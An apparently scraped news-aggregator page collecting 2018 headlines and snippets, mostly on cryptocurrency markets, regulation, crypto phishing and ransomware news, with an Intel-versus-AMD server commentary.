A Mysterious, Powerful Force is Flinging Radio Waves at Us From Deep Space

NASA space telescope TESS starts search for Earth-like planets

Top Scientists Explain to Senators Why We Must Look for Aliens

Is Humanity About To Accidentally Declare Interstellar War On Alien Civilizations?

Should the Moon Be Quarantined? - Scientific American

 

STORIES THAT DOVETAIL OTHER RESEARCHER’S WORK

Stonehenge mystery solved, says breakthrough scientific study | Fox News

Ancient Roman Library Discovered Beneath German City

 

SOCIAL MEDIA/GOOGLE/AMAZON

Plastic surgeons say more patients coming in with 'Snapchat dysmorphia' | TheHill

Social media is making children regress to mentality of three-year-olds, says top brain scientist

Facebook: Hey Can We Pretty Please Maybe Have Lots of Your Banking Information Too?

Facebook Dating offerings can be seen in leaked pre-launch screenshots | Fox News

Without Sergey Brin, Google has lost its fear of authoritarian China — Quartz

Senators Demand Answers About Google’s Censored Chinese Search Engine | Fortune

Employees at Google, Amazon and Microsoft Have Threatened to Walk Off the Job Over the Use of AI



“THE FOUR HORSEMEN of the TECHNOCALYPSE!”

Amazon’s Jeff Bezos would need to spend $28 million a day to avoid getting richer - MarketWatch

Elon Musk says Tesla is making a mini-car that can fit an adult - Business Insider

Elon Musk: I know more about nuking Mars than scientists

Is Mark Zuckerberg Wet or Dry?

 

BASIL’S CAREER ADVICE

Upwork: Blockchain the Fastest Growing Skill in US Freelance Job Market

7 Job Skills Of The Future (That AIs And Robots Can't Do Better Than Humans)

How to Get Started in Machine Learning and Robotics

DeepMind Cofounder Gives Teenage AI Fan 5 Pieces Of Advice

 

THE DOORS OF PERCEPTION AND OTHER NEAT THINGS ABOUT THE BRAIN

10-Year-Old Boy Recovers Impressively After One-Sixth of His Brain Is Removed

Past experiences shape what we see more than what we are looking at now

The DolphinView headset lets you ‘see’ like your favorite sea creature - The Verge

Telepathic communication just 'a matter of time' as twins reveal blueprint for brain interface

Can you hear these silent GIFs? You may have a new form of synesthesia. - Vox

 

OTHER INTERESTING STORIES THAT POINT TOWARDS THE END TIMES

USPS: Carriers to wear flea repellent for deliveries in Sacramento County neighborhood

Donald Trump's star voted off Hollywood Walk of Fame

 

ICKY NEWS UPDATE

Catherine Oxenberg feels 'horrendous guilt' after bringing daughter into alleged sex cult | Fox News

Nikki Goldstein visits sex robots with artificial intelligence | Daily Mail Online

German Couple Convicted Of Selling Child On The Darknet : NPR

 


          Japan Targets Speculative Cryptocurrency Investments in Regulatory Revamp.      Cache   Translate Page   Web Page Cache   
Japan’s primary financial regulator is reportedly looking at updating its regulatory framework for the cryptocurrency sector to curb speculative investments. In April 2017, the Financial Services Agency (FSA), Japan’s financial regulator, enforced new legislation that revised...
          $30 Billion Lost: 4 Stats That Show a Crypto Market in Decline      Cache   Translate Page   Web Page Cache   
Wednesday was a tough day for the cryptocurrency market at large, as several data points collected by CoinDesk illustrate.
          This cryptocurrency-mining router got hot enough to fry an egg, so we did - CNET      Cache   Translate Page   Web Page Cache   
It's the breakfast of champion hackers.
          ICOs Raised $8.3 Billion Last Quarter, but Most of them Were Abject Failures      Cache   Translate Page   Web Page Cache   

Over half of all initial coin offering (ICO) projects failed to complete their crowdfunding in the second quarter of 2018, revealed cryptocurrency data firm ICORating in its latest report. ICOs Raised a Record $8.3 Billion in Q2, But Most Missed Their ...

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          Brian Kelly: If You’re Selling Bitcoin Because of ETF Delay, You’re Doing it Wrong      Cache   Translate Page   Web Page Cache   

CNBC Fast Money contributor and BKCM CEO Brian Kelly has firmly emphasized that while bitcoin has seen a massive decline in price over the last 24 hours, investors selling the dominant cryptocurrency based on the delay of SEC in approving the first bit...

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          MinerGate (PUA) Coin Miner Trojan: Removal Instructions      Cache   Translate Page   Web Page Cache   

MinerGate (PUA) – What is it? Netizens search for the solution against MinerGate (PUA) malware really often these days. This situation is understandable as cyber criminals use exactly this computer threat to generate cryptocurrency. Trojan disrupts bitcoins and other digital currencies with the help of infected resources on the compromised … Continue reading

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          Blessed LTD      Cache   Translate Page   Web Page Cache   
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          Global Cryptocurrency Exchange Ruby-x HoldsGrand Opening Event      Cache   Translate Page   Web Page Cache   
Business Wire India Giving away $10 million worth rewards, including mobile houses Selling Ruby Token (RBY) at its half price only during the public sale!
          Explaining Multi-Cryptocurrency Payment Gateways      Cache   Translate Page   Web Page Cache   
A general misconception with digital currency, which also creates confusion amongst the population, is that cryptocurrencies transactions are not easy, and are usually difficult to process and much more difficult to understand. The misunderstanding of such notions can be cleared by the awareness of Cryptocurrency exchanges, Cryptocurrency Wallets, and Multi-Cryptocurrency Payment Gateways. Payment Gateways- Business Model Before you get into the mode of understanding- multi-Cryptocurrency payment gateways you should be aware of what are Payment Gateways? They are on-line pages which capture the data of payment instrument between a merchant and consumer. They are usually the checkout pages, for such transactions, and capture the data in encrypted form and pass it to the payment processor. The processor, in turn, verifies or authenticates it and does the settlement of funds. You may come across various Payment Gateways like- APIs Like- Coinbase, which can be embedded in the client s website.
          Cyptocurrency market at lowest level since November 2017      Cache   Translate Page   Web Page Cache   
Today the total capitalization of the cryptocurrency market dropped to its lowest in 2018. The drop started after the US Securities and Exchange Commission (SEC) delayed a decision on a proposed bitcoin exchange-traded fund (ETF).
          Comment on 11 Ethereum Wallets Dissected and Reviewed by Steven Hay      Cache   Translate Page   Web Page Cache   
Hi Mike, The Bitfi is absolutely terrible. Search for the video where a loop of John McAfee plays endlessly over the device's display... It was completely pwned in the first week after its release and instead of awarding the pen-testers the bounty, the Bitfi team made threats against them. The testers got root access to the device and identified a way to intercept the PIN code when it's entered on the device. Of course physical access is required, but this can happen during shipping or the so-called evil maid attack. The device also apparently phones home to somewhere in China, I'm not sure if it's tracking users. Check out the series where the pentesters take this thing apart: https://www.pentestpartners.com/security-blog/hacking-the-bitfi-part-1/ So yeah, whatever you do, don't buy this thing. It's really poor technically and endorsed by a clown who'll say anything for money (McAfee once posted his rates to endorse any cryptocurrency).
          Why Bitcoin May Not Be Ready For Commerce (Or Starbucks)      Cache   Translate Page   Web Page Cache   
Starbucks brewed up a swirl of cryptocurrency intrigue last week. The coffee chain said it is among the companies that will work with Intercontinental Exchange’s planned digital asset company, Bakkt, “to create an integrated platform that enables consumers and institutions to buy, sell, store and spend digital assets on a seamless global network.” Following the announcement, reports surfaced […]
          Bitcoin price falls after SEC delays crucial decision on cryptocurrency ETF      Cache   Translate Page   Web Page Cache   

The SEC says it needs more time to consider whether to approve a rule change

By Sarah D. Young of ConsumerAffairs
August 8, 2018

PhotoBitcoin prices continued their downward trend on Wednesday in response to a decision made by the Securities and Exchange Commission (SEC) to delay a ruling on a proposed Bitcoin exchange-traded fund (ETF).

Bitcoin fell nearly 10 percent to just under $6,500, according to data from CoinDesk -- the lowest level since July 16. The price decline happened in response to the SEC saying it was delaying its decision on whether to approve a Bitcoin exchange-traded fund (ETF) proposed by VanEck and SolidX.

If approved, the request could cause the value of Bitcoin to surge. The SEC said it is delaying its decision until September 30.

SEC needs more time

"As of August 6, 2018, the Commission has received more than 1,300 comments on the proposed rule change," SEC assistant secretary Eduardo Aleman said in a statement on the agencys website.

"The Commission finds that it is appropriate to designate a longer period within which to take action on the proposed rule change so that it has sufficient time to consider the proposed rule change."

The SEC previously rejected a Bitcoin ETF application last year due to the volatility of cryptocurrency prices. Last week, blockchain platform SolidX addressed the reasons for the SECs decision not to approve the Bitcoin ETC in 2017.

In a presentation, SolidX said that since the ruling, that there have been significant changes in product, market structure and overall circumstances."

"A green light for the bitcoin ETF would fire the starting gun on a race among institutional investors to cash-in on this new product, so the market is rightly frustrated by the delay to the decision," Matthew Newton, an analyst at the investment platform eToro, told The Independent.

Bitcoin has fallen sharply from the near-record high hit in December 2017. However, the cryptocurrency has recovered from its June level of below $6,000.


          This Is Why Every Major Cryptocurrency Crashed on Wednesday      Cache   Translate Page   Web Page Cache   
The crypto market is searching for a path to legitimacy, but the SEC just put those plans on hold -- again.
          Intel's server roadmap is brutal.      Cache   Translate Page   Web Page Cache   
The rumors of additional, severe delays had been out there for quite some time.  Intel just made it official.

https://www.anandtech.com/show/13194/intel-shows-xeon-2018-2019-roadmap-cooper-lakesp-and-ice-lakesp-confirmed

First off is yet another generation of server parts on 14 nm, shipping in Q4 of this year.  After that is still another generation of servers on 14 nm.  The first server parts on a new process node won't come until 2020, and even that is assuming things go well for Intel.  Considering how averse server buyers are to launching a new generation every several months, don't bet on early 2020 for Ice Lake, either.

Yes, I know Intel wants to say 14++ nm or whatever.  And process nodes do improve some as they mature.  But not nearly enough to be competitive with a real die shrink.  That's why the state of the art isn't on a 90++^*&@ nm process node.

Intel is hoping to get the first real 10 nm Cannon Lake parts (as opposed to the press edition parts from earlier this year) out by the end of 2019.  But a tiny dual core CPU together with a highly salvageable GPU is far, far away from the huge dies they use for servers.  Even if Cannon Lake does launch as a nifty product that you can buy in time for Christmas of 2019, that would hardly point to wide availability for 28 core Ice Lake parts in 2020.  (28 cores is the current top of the line for Sky Lake.)

Meanwhile, AMD claims that they're moving to 7 nm server parts in 2019.  Apparently now they're going to use both TSMC and Global Foundries.  In the halcyon days of the Opteron 64, AMD could sell their CPUs as fast as they could make them, but they just couldn't make enough to really take a ton of market share.  Having both TSMC and Global Foundries available should mean that this time, fab production limits aren't such a concern.

It's possible that Intel smacked into a wall of physics and TSMC and Global Foundries are in the process of smacking into the same wall.  There don't seem to be rumors to that effect, but you don't really know until there are parts that you can buy.  But if AMD has their third generation of EPYC parts on 7 nm CPUs working as planned and available in 2019, then 2020 is going to be absolutely brutal for Intel's server division.

That wouldn't merely mean that AMD was competitive with Intel in servers.  That would mean that Intel had nothing competitive to offer, and was relegated to being a distant also-ran.  That has never happened in the history of servers, but it will next year if AMD delivers what they've promised.

There were claims a while back that AMD had to prioritize where to invest, and chose to starve their GPU division in order to do what they needed to do in CPUs.  Since falling behind Nvidia with the launch of the GeForce GTX 980 nearly four years ago, AMD has done a die shrink, some minor tinkering around the edges, and that's about it--with nothing new looking imminent.  I don't know how early they had some inkling that Intel was going to fall on their face.  But as soon as they knew, that's pretty much why they had to make that decision.

Suppose that AMD had invested heavily in GPUs, for everything from graphics to compute.  And suppose that those investments had gone really well.  Maybe they could have swiped $1 billion/year from Nvidia in GPU revenue as compared to how things played out now--though you should keep in mind that the cryptocurrency craze meant AMD could easily sell everything they could make for the last year.  Or maybe competitive high end compute GPUs would just force Nvidia to slash prices and there would be less revenue to go around in that market.  And that's if everything went well for AMD.

Well, it's now looking very plausible that AMD will swipe several billion dollars per year worth of the server market from Intel.  Depending on how long it takes for Intel to recover, it's possible that a few years from now, AMD will be the market leader in x86 CPUs for all of the major markets.  Don't scoff at the idea that AMD could soon be the market leader in x86 CPUs.  Just because Intel has been dominant for many years doesn't mean that it will always be that way.  Remember when Blackberry dominated smartphones?  

That said, just because Intel has stumbled doesn't automatically mean that AMD will reap the benefits.  If ever there was an opportunity for servers to heavily move away from x86, this will be it.  ARM has been trying to get into the server market for some years now, and the Cavium Thunder X2 recently brought a credible ARM chip to servers.
          This Is Why Every Major Cryptocurrency Crashed on Wednesday      Cache   Translate Page   Web Page Cache   
The crypto market is searching for a path to legitimacy, but the SEC just put those plans on hold -- again.
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          GPU Shortage Hinders Scientific Research – Cryptocurrency Miners Blamed – Bitcoin News      Cache   Translate Page   Web Page Cache   

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myBTCcoin 10:24 PM “We’d like to use the latest GPUs, and we can’t get them”, said Dan Werthimer, chief scientist at the University of California, Berkeley SETI Research Center. “We want to look at as many frequency channels as we possibly can. We don’t know what frequency ET will be broadcasting on – is it […]

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          Esquemas de engenharia social renderam quase $10 Milhões de dólares aos hackers no ano passado      Cache   Translate Page   Web Page Cache   
Esquemas de engenharia social renderam quase $10 Milhões de dólares aos hackers no ano passado

O fenómeno das criptomoedas e o aumento de um público interessado no mesmo nunca passaria despercebido aos hackers. Para atingir os seus objetivos maliciosos, os hackers recorrem a clássicas técnicas de phishing que vão além dos típicos cenários utilizados anteriormente. Inspirando-se nos investimentos ICO (Initial Coin Offering – Oferta de Moeda Inicial) e na distribuição gratuita de criptomoedas, os hackers conseguem beneficiar igualmente de investidores de criptomoedas e novatos.

Alguns dos alvos mais populares são investidores ICO, que procuram investir os seus fundos em start-ups para obter lucros no futuro. Para eles, os hackers criam páginas falsas que simulam sites oficiais de projetos ICO, ou tentam obter acesso aos seus contactos para lhes enviar um email de phishing contendo o número de uma e-wallet para onde os investidores deverão enviar as suas criptomoedas. Os ataques mais bem-sucedidos tiram partido de projetos conhecidos de ICO. Por exemplo, ao explorar o ICO Switcheo utilizando uma proposta de distribuição gratuita de moedas, os hackers roubaram mais de $25.000 mil dólares em criptomoedas após difundirem o link através de uma falsa conta de Twitter.

Outro exemplo é a criação de sites phishing para o projeto ICO OmaseGo, que permitiu aos hackers roubar mais de $1.1 milhões de dólares em criptomoedas. De igual interesse entre os hackers foram os rumores associados ao ICO do Telegram, que resultaram na criação de milhares de sites falsos que recolhiam “investimentos”.

Outra tendência bastante procurada envolve burlas de oferta de criptomoedas. Para isso, é pedido às vítimas que enviem um pequeno valor em criptomoedas em troca de um pagamento mais elevado, na mesma moeda, no futuro. Neste caso, os hackers chegaram mesmo a recorrer a perfis em redes sociais de famosos, como o magnata Elon Musk e o fundador do Telegram, Pavel Durov. Ao criarem contas falsas ou responderem a utilizadores legítimos através de falsos perfis, os hackers conseguem confundir os utilizadores do Twitter e levá-los a confiar no esquema ao clicarem nas respostas de contas fraudulentas.

De acordo com as estimativas da Kaspersky Lab, os hackers conseguiram obter mais de 21.000 ETH (The Ether Cryptocurrency – a criptomoedas Ether, que utiliza blockchain gerado pela plataforma Ethereum) o que equivale a mais de 10 milhões de dólares, à taxa de câmbio atual, no ano passado e utilizando os esquemas já mencionados. Esta quantia não inclui os ataques clássicos de phishing ou os casos que envolvem a criação de endereços individuais para cada vítima.

Os resultados da nossa investigação demonstram que os hackers se mantêm atualizados e estão a desenvolver recursos para atingirem o melhor resultado possível a nível de phishing de criptomoedas. Estes novos esquemas fraudulentos têm como base simples métodos de engenharia social, mas destacam-se dos restantes ataques mais comuns por renderem milhões de dólares aos seus autores. O sucesso que os hackers atingiram revela conhecimento sobre como explorar o fator humano, um dos pontos mais fracos a nível de cibersegurança, para monetizar o comportamento dos utilizadores,” – afirmou Nadezhda Demidova, Investigadora de conteúdo web na Kaspersky Lab.

Para proteger as suas criptomoedas, os investigadores da Kaspersky Lab aconselham os utilizadores a adotarem algumas regras simples:

  • Lembrem-se que nada é gratuito – quando uma oferta parece boa demais para ser verdade, provavelmente é porque é.
  • Verifiquem as fontes oficiais para informações sobre a distribuição gratuita de criptomoedas. Por exemplo, se detetarem a distribuição de criptomoedas em nome do Binance, um ecossistema de blockchain recentemente hackeado, clarifique essa informação em fontes oficiais.
  • Verifiquem se existem parceiros associados à carteira para onde pretendem transferir os seus investimentos. Uma forma de o fazer é através de motores de busca de blockchain como o etherscan.io ou o blockchain.info, que permite aos utilizadores verificar informações detalhadas sobre quaisquer transações de criptomoedas e identificar se a carteira em questão é perigosa.
  • Verifiquem sempre os links e os dados na barra de endereços – por exemplo, deveriam ser “blockchain.info” e não “blackchaen.info”.
  • Guardem o endereço das suas e-wallets num separador à parte, para um acesso mais fácil e seguro – caso cometam um erro na barra de endereços e acabem num site de phishing.

Mais informações sobre o desenvolvimento de phishing para criptomoedas estão disponíveis no site Securelist.com.


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          And now professional golf is being ransomed for bitcoin      Cache   Translate Page   Web Page Cache   
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Raise that single gloved-hand to your mouth in shock: The hackers have gone after golf.

America's last bastion of proud visor-wearers is scrambling this week, after unknown criminals took over the PGA of America’s servers on Tuesday — locking the golf association out of its files just days before the official Aug. 9 start of the PGA Championship in Missouri. And you better believe those hackers want bitcoin

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That's right, the PGA was hit with ransomware

So reports Golfweek, which notes that the now-encrypted files include "extensive promotional banners and logos used in digital and print communications," in addition to "development work on logos for future PGA Championships." Read more...

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          Experts Claim Decentralized Darknet Markets Will Lead To Unstoppable Clones Of Silk Road      Cache   Translate Page   Web Page Cache   

Silk Road

If you ask people what one darknet site they know, the most common answer is Silk Road, the site that opened the world to the possibilities of a “mostly unregulated” marketplace, and led to Ross Ulbricht receiving a life sentence in prison. At the time Silk Road launched and became the bogeyman to law enforcement agencies, the technology that made it possible is what made it successful. It wasn’t on the clearnet, which meant it had to be located using TOR, which meant most people would never see it.

You had to use cryptocurrency, Bitcoin in those days, in order to use it, and you had to have some guts, because whatever you were engaging in was illegal and could result in serious jail time. For a time, all of that made Silk Road work. Clones came and went, but Silk Road was the leader, until the day it wasn’t.

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          Old And New: Here's What Blockchain Has In Store For The Creative Industry      Cache   Translate Page   Web Page Cache   

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          Let's Make Election Day "Buy Crypto Day"      Cache   Translate Page   Web Page Cache   

With the U.S. 2018 midterm election fast approaching, and another offering of the perennial choice between a giant douche bag and a crap sandwich to lie and lull the American populace into resigned complacency as the wantonly exploitative, corrupt military-monetary hegemony continues to steamroll over humanity– a bright and hopeful alternative emerges.

Advocates of a better, freer, more civilized world should rally together and place a vote of no confidence in the systemically corrupt political edifice by making every U.S. election day from this one on out Buy Crypto Day. Let the electorate speak as one withered, divided voice with its continued slide into historically abysmal voter turnout, and its increasingly cynical partisanship exemplified by the weary acceptance of increasingly more radical and contentious lessers of two evils. (It should not have to be pointed out that the lesser of two evils is still evil).

We who see a better way outside of the "Heads I win Tails you Lose" Catch-22 inherent in democratic participation, will speak with our own unified voice as it gathers strength to forge a new world order of truly and finally inviolable policies of truth and justice that hard code the principles of equality into an impregnable machine of monetary equality that transcends borders and eschews centralized, untrustable authorities.

What if every U.S. election day from here on out, the crypto market surged as a vote of no confidence in politics?


          Blockchain May Hold the Secret to Protecting Your Identity      Cache   Translate Page   Web Page Cache   

Not since the late ’90s when dotcom mania prevailed has there been such blue-sky potential, frantic excitement, and widespread misconception as currently surrounds blockchain technology. Cryptocurrency fortunes have been made and lost in what often seems like the blink of an eye, but blockchain is no longer just about money. Indeed, what started as a proof of concept for the […]

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          Opera becomes first browser to add crypto wallet      Cache   Translate Page   Web Page Cache   
Opera continues to take a giant step towards making its browser friendly to people with passion for trading in cryptocurrency. Recall that the browser added a built-in protection against cryptojacking last January, and has now followed that up by adding a crypto wallet—thus becoming the first major browser to do that. The feature, which is […]

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Bitcoin and Ethereum Deep Dive and All of the Alt-coins Took a Deep Dive $BTCUSD, $ETHUSD Bitcoin prices collapsed Wednesday after the SEC delayed its decision on the proposed Bitcoin-related ETFs submitted by VanEck and SolidX. Bitcoin (BTC) and other cryptocurrencies deep dived Wednesday, with many digital currencies losing more than 10% of their value. Bitcoin […]

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Opera continues to take a giant step towards making its browser friendly to people with passion for trading in cryptocurrency. Recall that the browser added a built-in protection against cryptojacking last January, and has now followed that up by adding a crypto wallet—thus becoming the first major browser to do that. The feature, which is […]
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NEW YORK – August 7, 2018 – A chart of service providers seeking to assist charitable organizations in the receipt of cryptocurrency donations has been released by The Regulatory Fundamentals Group LLC (RFG) and DMS Governance (DMS). The chart includes a detailed list of crypto-asset service providers who have indicated an interest in helping charitable […]

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South African Releases Draft Cryptocurrency Tax Law

The South Africa Revenue Service (SARS) recently released a draft cryptocurrency tax legislation. The draft defines the framework of virtual currency taxation in the country. Details of the Draft Cryptocurrency Tax Legislation The draft cryptocurrency tax legislation follows on from the press release issued by SARS in April 2018. At that time, the tax agency categorically laid out plans to tax income earned via virtual currency transactions. As part of the April 2018 press release,

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(EMAILWIRE.COM, August 08, 2018 ) Watts Miners (www.wminers.com) is pleased to announce that the company has ended the month of July with an impressive sales volume of more than $80 Million. The company recently entered the global crypto space by launching three highly cost-efficient cryptocurrency...
          Japón apunta inversiones de criptomonedas especulativas en modernización regulatoria      Cache   Translate Page   Web Page Cache   
Según los informes, el principal regulador financiero de Japón está buscando actualizar su marco regulatorio para el sector de criptomonedas para frenar las inversiones especulativas.
En abril de 2017, la Agencia de Servicios Financieros (FSA) - el regulador financiero de Japón - implementó una nueva legislación que revisó la Ley de Servicios de Pago para reconocer la criptomoneda como moneda de curso legal. El movimiento regulatorio fue pionero en el momento en que una economía importante ordenaba a los operadores locales de criptomonedas registrarse y obtener una licencia de la autoridad para operar un intercambio criptográfico en Japón.
El regulador ordenó el marco para prepararse de manera proactiva para un aumento en la adopción de criptomonedas, específicamente en su uso en pagos y remesas. La FSA se movió para "evitar una situación en la que no hay leyes que rijan (criptomonedas) cuando se utilizan ampliamente", dijo un alto funcionario de la autoridad reguladora al Japan Times .
Sin embargo, el regulador no previó que los adoptantes recurrieran a las criptomonedas como el bitcoin como inversión en lugar de instrumentos de pago y, como resultado, ahora busca ajustar esas regulaciones para controlar las inversiones especulativas, reveló el informe el miércoles.
Criptomoneda FSA de Japón
El regulador financiero de Japón podría revisar su marco regulatorio para el sector de criptomonedas.
La FSA estableció un panel de expertos en abril para "cerrar las brechas entre las reglamentaciones y la práctica real de las criptomonedas", agrega el informe, dando más pistas sobre el cambio regulatorio del marco actual.
Según informó CCN en julio, la FSA está buscando específicamente incluir el sector de intercambio de criptomonedas dentro del ámbito de la Ley de Intercambio de Instrumentos Financieros (FIEA), aplicando las leyes aplicables a las casas de bolsa tradicionales y las firmas de valores financieros. Según el mandato de la FIEA, las empresas reguladas están obligadas a administrar los fondos de los clientes por separado de los activos de la empresa, lo que, de hecho, vería normas de protección del inversor mucho más sólidas.
Mientras tanto, los intercambios de criptomonedas nacionales están proponiendo normas de autorregulación propias. La Asociación de Intercambio de Divisas Virtual de Japón (JVCEA), un organismo que representa los dieciséis intercambios de criptogramas autorizados, propone un límite de 4 a 1 en el comercio de margen para restringir a los inversores a pedir prestado solo hasta cuatro veces su depósito original. La medida, vista como un medio para limitar el riesgo de pérdidas para los inversores, se propone en un mercado que actualmente no ve restricciones en las operaciones de margen prestado. Un puñado de bolsas nacionales ofrecen un límite de apalancamiento de 25 a 1, el límite máximo de margen predeterminado para el comercio de divisas.
Tal comercio actualmente no se controla, dijo un funcionario de la FSA al Japan Times. Si se produce la revisión propuesta, las criptomonedas también se clasificarían como 'productos financieros', lo que prepararía su entrada en los principales mercados financieros.


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          Bitcoin es la 'Mejor casa en un barrio difícil': estratega de Wall Street      Cache   Translate Page   Web Page Cache   
A pesar de las noticias positivas vistas recientemente en el espacio criptográfico con ICE, el propietario de la bolsa de valores más grande del mundo, la creación de un nuevo mercado bitcoin, los rumores de que los ETF de bitcoin están en camino (pero tal vez no en 2018 ) y la clasificación de bitcoin como un producto básico por parte de la SEC, el precio de bitcoin y altcoins ha estado cayendo constantemente en la tendencia actual a la baja , con bitcoin retrocediendo por debajo de la marca de $ 7,000 una vez más.
CCN informó ayer que a pesar de un rebote de $ 5 mil millones en el mercado de criptografía, el bajo volumen de negociación hizo más probable que otro declive en el valor fuera entrante, indicando :
"Sin embargo, en las últimas horas, el precio de bitcoin y el éter han comenzado a caer una vez más, probando $ 7,100 y $ 410. Si el volumen no se recupera en las próximas 12 horas, es probable que bitcoin y ether superen los niveles de $ 7,000 y $ 400 de forma similar a como lo hicieron el 5 de agosto ".
Esto ha sucedido ahora, con el CEO de BitMEX, Arthur Hayes, indicando que BTC puede necesitar probar $ 5,000 antes de que se pueda establecer un fondo.
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Sin embargo, Tom Lee de Fundstrat cree que tiene la respuesta a lo que parece ser un mercado fallido, y apunta a uno positivo que cree que salvará la criptomoneda: el dominio de bitcoin.
El dominio del mercado de Bitcoin es la relación entre el límite de mercado individual de BTC y el capital de mercado combinado de todas las criptomonedas. Luego de desplomarse desde un pico del 80 por ciento a principios del año pasado hasta el 37 por ciento, el dominio es ahora el más alto en todo el año con un 48 por ciento.
Hablando con CNBC, Lee argumentó que esto refleja el hecho de que los inversores están respondiendo a los desarrollos alcistas en el espacio de bitcoins. Si bien el precio no ha aumentado como muchos esperaban, el aumento de la posición dominante muestra que los inversores están tomando nota de los próximos ETF y del mercado de cifrado de ICE que pronto se lanzará. Como dijo Lee, la noticia ha llevado a los inversores a decidir que "el bitcoin es la mejor casa en un barrio difícil".
Lee continuó señalando que el " índice de miseria " también está en niveles cómodos.
El índice de miseria es un método ideado por Fundstrat para medir lo que los analistas esperan que sienta un titular de bitcoin. Los menores de 27 años son clasificados como "miserables", y Lee dijo que el bitcoin tiende a funcionar bien cuando el sentimiento cae tan bajo, mientras que la etapa "eufórica" ​​por encima de 67 generalmente indica que el bitcoin puede estar a punto de experimentar un declive.
Actualmente, el índice de miseria está en 39, lo que Lee describió como estar en línea con una recuperación saludable.
Lee alentó a los inversores y expertos a ponerse en el lugar de los inversionistas asiáticos, de donde provienen muchas de las nuevas inversiones en criptomonedas, diciendo que es menos probable que los inversores asiáticos estén familiarizados con ICE o que sean conscientes de la importancia de las recientes noticias . También afirmó que el mercado actual es esencialmente "Peter pagando a Paul", moviéndose dentro de sí mismo, y que la criptografía todavía está en una etapa inicial con más crecimiento por venir.
Si bien el mercado bajista reciente puede ser desalentador para muchos, el aumento en el dominio es de hecho una indicación de que BTC está consolidando el poder dentro del mercado. Queda por ver si la acción del precio se verá más significativamente influenciada por los numerosos desarrollos positivos en el espacio criptográfico.

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          Los bancos suizos están incorporando clientes y activos criptográficos      Cache   Translate Page   Web Page Cache   
Otro banco privado suizo ha anunciado en un comunicado que está abierto para aceptar activos que se generaron con criptomonedas. El banco privado Maerki Baumann en Zurich está abierto a aceptar activos que se generaron con criptomonedas, "bajo la condición de que se cumplan estrictamente los estrictos requisitos reglamentarios y legales", dijo el director gerente Stephan Zwahlen a news.Bitcoin.com.

"Suiza sabe cómo proteger los activos"

La mayoría de los bancos suizos suelen rechazar los activos generados por las transacciones de criptomonedas, pero existen algunas excepciones. Según los informes, Maerki Baumann siguió a Falcon y aceptó oficialmente el manejo de dichos activos, pero no ofrece soluciones de gestión de activos en criptomonedas ni cuentas en criptografía, dijo el director gerente del banco a news.Bitcoin.com. Los fondos recaudados a partir de las transacciones criptográficas especulativas, los pagos por los servicios prestados o los éxitos de la minería están creciendo cada vez más, junto con la popularidad de las criptomonedas. Pero estos activos según los informes a menudo cumplen el rechazo de los bancos suizos. 
Vontobel , otro banco privado suizo, junto con Falcon, se encuentra entre los prestamistas que acuerdan manejar inversiones basadas en criptomonedas en nombre de sus clientes.

La contradicción suiza

Una de las contradicciones sobre Suiza, que aspira a convertirse en una "cripto nación" es que a pesar de tener cientos de las compañías de cifrado más famosas en todo el mundo con sede en Zug, casi ninguno de ellos tiene una cuenta bancaria suiza. La razón principal es el temor al dinero negro que ha contaminado a algunos de los principales bancos suizos a lo largo de la historia, dijo Marc Bernegger, un fintech suizo y empresario de cifrado, a news.Bitcoin.com en una entrevista en Zurich.
Bernegger ha sido un empresario de Fintech durante casi 20 años, y dijo que leyó el libro blanco de Satoshi en 2012. Inmediatamente sintió que Bitcoin tenía mucho potencial. "Entendí desde el primer día el impacto que la tecnología iba a tener. En los viejos tiempos, casi nadie en la industria tradicional de servicios financieros ni siquiera oía hablar de Bitcoin ", dijo. 
Los bancos suizos son clientes y activos de criptografía integrados
Marc Bernegger, miembro de la Junta de Crypto Finance AG
"Hoy en día, cuando se trata de criptomonedas, existe una comprensión de los servicios financieros que me recuerda [a] la antigua privacidad bancaria", dijo Bernegger. "No se trata de replicar eso nuevamente, pero creo que Suiza tiene una sólida reputación y conocimiento sobre la protección de los activos".
Sin embargo, el empresario suizo señaló que uno de los problemas en Suiza es que, oficialmente, casi no hay bancos haciendo cripto. "Todo el mundo va al Banco Frick, un pequeño banco en Liechtenstein, a una hora de Zurich", explicó Bernegger, pero esto está cambiando lentamente, observó. Bernegger, que también es miembro de la junta directiva de Crypto Finance Group, es parte de un grupo de trabajo dirigido por el ministro de Finanzas de Suiza, Ueli Maurer, y el ministro de Economía y Educación, Johann Schneider-Ammann, que incluye a funcionarios federales y locales, así como a miembros de varias nuevas empresas y representantes legales. "La iniciativa apunta a crear un entorno más amigable para las empresas", explicó Bernegger, "los nombres de los bancos [involucrados] no son públicos, pero hay algunos bancos principales [suizos] y varios otros bancos suizos que pronto "clientes de criptografía a bordo", reveló. "Personalmente creo que dentro de seis meses, será bastante común abrir cuentas como un cliente corporativo haciendo negocios de cifrado en Suiza".

El ministro de Finanzas invita a la Asociación Bancaria y al Banco Nacional a debatir

"El consejero federal Ueli Maurer recientemente tomó la iniciativa de invitar a la Asociación Bancaria Suiza (SBA), el Banco Nacional Suizo (SNB) y la Autoridad de Supervisión Bancaria de Finma a una mesa redonda para discutir el tema de las cuentas bancarias de las compañías de criptografía. Como resultado de esta mesa redonda, la SBA formó un grupo de trabajo para abordar el problema y está a la cabeza ", dijo a news.Bitcoin.com Peter Minder, jefe de comunicación del Departamento Federal de Finanzas de Suiza.
Swissquote Group, el banco suizo en línea, reportó una ganancia de 25.7 millones de CHF (~ $ 26.1million USD) desde el primer semestre de este año, lo que representa un aumento del 44 por ciento con respecto al mismo periodo del año anterior desde que comenzó a aceptar crypto. news.Bitcoin.com informó a principios de este mes. Desde una perspectiva de facturación, Swissquote es una de las empresas suizas con los ingresos más altos de todos los criptomerios en Suiza.
Hypothekarbank Lenzburg , un banco heredado suizo, también abrió la puerta a las empresas de cripto y blockchain en junio de este año. Su CEO, Marianne Wildi, quien se entrenó como programadora de computadoras, argumentó que Suiza debería adoptar un franco suizo criptográfico. El banco también evaluó los posibles riesgos de cumplimiento antes de decidir abrirse a blockchain y empresas de cifrado, y también informó a Finma de su decisión.

Swiss Crypto Companies Target Banking Licences

Las empresas de cifrado suizo también están tratando activamente de adquirir licencias bancarias con Finma, la autoridad supervisora ​​del mercado financiero nacional, y pronto podrán operar como los bancos. Es una cuestión de tiempo, dicen algunos.
